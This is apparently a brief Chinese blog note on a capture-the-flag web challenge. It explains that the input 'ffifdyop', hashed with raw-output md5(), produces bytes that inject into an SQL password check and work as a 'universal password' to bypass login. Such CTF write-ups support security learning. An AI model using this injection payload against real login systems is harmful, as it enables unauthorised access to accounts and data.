md5(“ffifdyop“,true)
题目链接 http://web.jarvisoj.com:32772/
抓包可以发现Hint

select * from 'admin' where password=md5($pass,true)
md5()



加入参数为true则会以字符串形式显示
比较特殊的字符串--ffifdyop

所以 select * from 'admin' where password=md5('ffifdyop',true)

所以直接输入 ffifdyop 就可以通过,万能密码

[博客内容只是本人学习过程记录的笔记,不保证质量.本人不保证技术的实用性,一切文章仅供参考,如有谬错,请留言.]

浙公网安备 33010602011771号